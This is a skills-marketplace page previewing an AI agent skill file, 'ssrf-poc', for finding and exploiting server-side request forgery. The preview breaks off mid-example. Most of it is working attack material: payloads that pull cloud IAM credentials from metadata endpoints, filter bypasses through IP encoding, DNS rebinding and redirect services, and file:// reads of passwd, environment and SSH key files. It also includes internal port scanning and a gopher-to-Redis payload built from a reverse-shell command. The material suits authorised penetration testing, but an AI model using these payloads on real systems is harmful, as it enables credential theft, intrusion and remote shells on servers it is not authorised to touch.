Skip to main content

ssrf-poc

Detect and exploit SSRF vulnerabilities using OOB interaction detection with interactsh and manual bypass techniques. Use when testing for server-side request forgery, accessing cloud metadata, probing internal services, or validating SSRF with out-of-band callbacks.

소스 정보

저장소
zebbern/termstack
최근 소스 활동
2026년 4월 10일 22:53
감지된 SKILL.md 언어
영어
스타
4
포크
3

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

파일 탐색기
2 개 파일

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
ssrf-poc
description
Detect and exploit SSRF vulnerabilities using OOB interaction detection with interactsh and manual bypass techniques. Use when testing for server-side request forgery, accessing cloud metadata, probing internal services, or validating SSRF with out-of-band callbacks.
tags
["security","ssrf","server-side-request-forgery","oob","internal"]
triggers
["ssrf","server side request forgery","ssrf exploit","internal request","oob interaction"]
# ssrf-poc ## When to Use - User requests SSRF testing or server-side request forgery detection - Testing URL/webhook input fields for internal service access - Accessing cloud metadata services (AWS/GCP/Azure) - Probing internal network through application requests - Setting up OOB (out-of-band) callbacks for blind SSRF - Bypassing SSRF filters with encoding or redirect techniques - Testing file:// or gopher:// scheme exploitation - Validating SSRF findings with proof of concept ## Quick Start ```bash # Generate OOB payload interactsh-client # Use the generated domain in SSRF payloads # Example: https://target.com/fetch?url=http://PAYLOAD.oast.pro # Basic localhost access http://127.0.0.1/admin http://localhost:8080/ http://0.0.0.0:22 # Cloud metadata http://169.254.169.254/latest/meta-data/ ``` ## Interactsh Setup ### Generate OOB Payload ```bash # Start client (auto-generates unique domain) interactsh-client # Output: # [INF] c23b2la0kl1krjcrdj10cndmnioyyyyyn.oast.pro ``` ### Monitor Interactions ```bash # Verbose mode with logging interactsh-client -v -o ssrf-interactions.txt # JSON output interactsh-client -json -o results.json # Filter by protocol interactsh-client -http-only interactsh-client -dns-only ``` ### Session Persistence ```bash # Resume same session later interactsh-client -sf ssrf-session.session ``` ### Custom Server ```bash # Use specific server interactsh-client -server oast.pro # Self-hosted server interactsh-client -server your-server.com -token YOUR_TOKEN ``` ## Step-by-Step Process ### 1. Generate OOB Payload ```bash interactsh-client # Note the generated domain: xyz123.oast.pro ``` ### 2. Identify SSRF Injection Points Common parameters: `url`, `path`, `src`, `href`, `redirect`, `uri`, `callback`, `webhook`, `proxy`, `target`, `fetch`, `load`, `data`, `file` ### 3. Test Basic SSRF ```bash # Inject OOB domain https://target.com/api?url=http://xyz123.oast.pro # Check interactsh for callback # [xyz123] Received HTTP interaction from TARGET_IP ``` ### 4. Escalate with Bypass Techniques If basic payload blocked, try bypass techniques (see below). ### 5. Extract Sensitive Data ```bash # Cloud metadata https://target.com/api?url=http://169.254.169.254/latest/meta-data/ # Internal services https://target.com/api?url=http://localhost:8080/admin ``` ## Bypass Techniques ### IPv6 Notation ``` http://[::]:80/ http://[0000::1]:80/ http://[::ffff:127.0.0.1]/ http://[0:0:0:0:0:ffff:127.0.0.1]/ ``` ### Localhost Variations ``` http://127.0.0.1 http://localhost http://127.1 http://127.0.1 http://0.0.0.0 http://0/ http://127.127.127.127 ``` ### Domain Redirect Services ``` http://localtest.me → ::1 http://127.0.0.1.nip.io → 127.0.0.1 http://company.127.0.0.1.nip.io → 127.0.0.1 http://spoofed.BURP_COLLAB → 127.0.0.1 ``` ### IP Encoding ``` # Decimal http://2130706433/ → 127.0.0.1 http://2852039166/ → 169.254.169.254 # Hexadecimal http://0x7f000001/ → 127.0.0.1 http://0xa9fea9fe/ → 169.254.169.254 # Octal http://0177.0.0.1/ → 127.0.0.1 ``` ### URL Encoding ``` http://127.0.0.1/%61dmin (single encode) http://127.0.0.1/%2561dmin (double encode) http://127%2e0%2e0%2e1/ (encoded dots) ``` ### DNS Rebinding ```bash # Using 1u.ms service # Rotates between two IPs make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms # Verify rotation nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms ``` ### Redirect Bypass ```bash # Using r3dir.me service https://307.r3dir.me/--to/?url=http://localhost https://ENCODED.302.r3dir.me → http://169.254.169.254/ ``` ### URL Parser Exploitation ``` http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ ``` ## Cloud Metadata Targets | Provider | Endpoint | Notes | | ------------ | ---------------------------------------------------------- | ----------------------------------------- | | AWS EC2 | `169.254.169.254/latest/meta-data/` | IAM creds at `/iam/security-credentials/` | | GCP | `metadata.google.internal/computeMetadata/v1/` | Requires `Metadata-Flavor: Google` header | | Azure | `169.254.169.254/metadata/instance?api-version=2021-02-01` | Requires `Metadata: true` header | | DigitalOcean | `169.254.169.254/metadata/v1/` | No auth required | | Alibaba | `100.100.100.200/latest/meta-data/` | Similar to AWS | ## URL Schemes | Scheme | Purpose | Example | | ----------- | ------------------- | ------------------------------- | | `file://` | Read local files | `file:///etc/passwd` | | `gopher://` | TCP data injection | `gopher://localhost:6379/_INFO` | | `dict://` | Dictionary protocol | `dict://localhost:6379/INFO` | | `ldap://` | Directory access | `ldap://localhost:389/` | | `sftp://` | File transfer | `sftp://attacker:22/` | ## Examples ### Example 1: Basic OOB Detection **Scenario:** Test URL parameter for blind SSRF **Setup:** ```bash interactsh-client # [INF] abc123xyz.oast.pro ``` **Payload:** ``` https://target.com/webhook?url=http://abc123xyz.oast.pro ``` **Detection:** ``` [abc123xyz] Received HTTP interaction from 52.14.23.45 at 2024-01-15 10:30 ``` ### Example 2: AWS Metadata Extraction **Scenario:** Access EC2 instance credentials via SSRF **Payload:** ``` https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` **Response:** ``` my-iam-role ``` **Follow-up:** ``` https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-iam-role ``` ### Example 3: IPv6 Bypass **Scenario:** localhost blocked, try IPv6 **Blocked:** ``` https://target.com/fetch?url=http://localhost:8080/admin # Error: localhost not allowed ``` **Bypass:** ``` https://target.com/fetch?url=http://[::]:8080/admin https://target.com/fetch?url=http://[0000::1]:8080/admin ``` ### Example 4: Decimal IP Bypass **Scenario:** IP addresses blocked **Blocked:** ``` https://target.com/fetch?url=http://127.0.0.1/admin ``` **Bypass:** ``` https://target.com/fetch?url=http://2130706433/admin ``` ### Example 5: DNS Rebinding **Scenario:** Application validates DNS then fetches **Payload:** ``` https://target.com/fetch?url=http://make-8.8.8.8-rebind-127.0.0.1-rr.1u.ms/admin ``` First lookup returns 8.8.8.8 (passes validation), second returns 127.0.0.1. ### Example 6: Internal Port Scanning **Scenario:** Discover internal services **Command:** ```bash # Generate URLs for port scan for port in 22 80 443 3306 5432 6379 8080 9200; do echo "http://127.0.0.1:$port/" done > ports.txt # Test each via SSRF endpoint ``` **Response Analysis:** - Different response time = port open - Connection refused = port closed - Different response size = service detected ### Example 7: Redirect Service Bypass **Scenario:** External URLs only allowed **Payload:** ``` https://target.com/fetch?url=https://307.r3dir.me/--to/?url=http://localhost:8080/admin ``` Server follows redirect to internal resource. ### Example 8: File Protocol **Scenario:** file:// scheme supported **Payloads:** ``` https://target.com/pdf?url=file:///etc/passwd https://target.com/pdf?url=file:///proc/self/environ https://target.com/pdf?url=file:///home/user/.ssh/id_rsa ``` ### Example 9: Gopher Protocol Exploitation **Scenario:** Exploit Redis via gopher **Generate Payload:** ```bash gopherus --exploit redis # Enter: reverse shell command ``` **Use Generated Payload:** ``` https://target.com/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a... ``` ### Example 10: Webhook SSRF **Scenario:** Test webhook callback functionality **Setup:** ```bash interactsh-client -v # [INF] webhook123.oast.pro ``` **Configure Webhook:** ```json
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기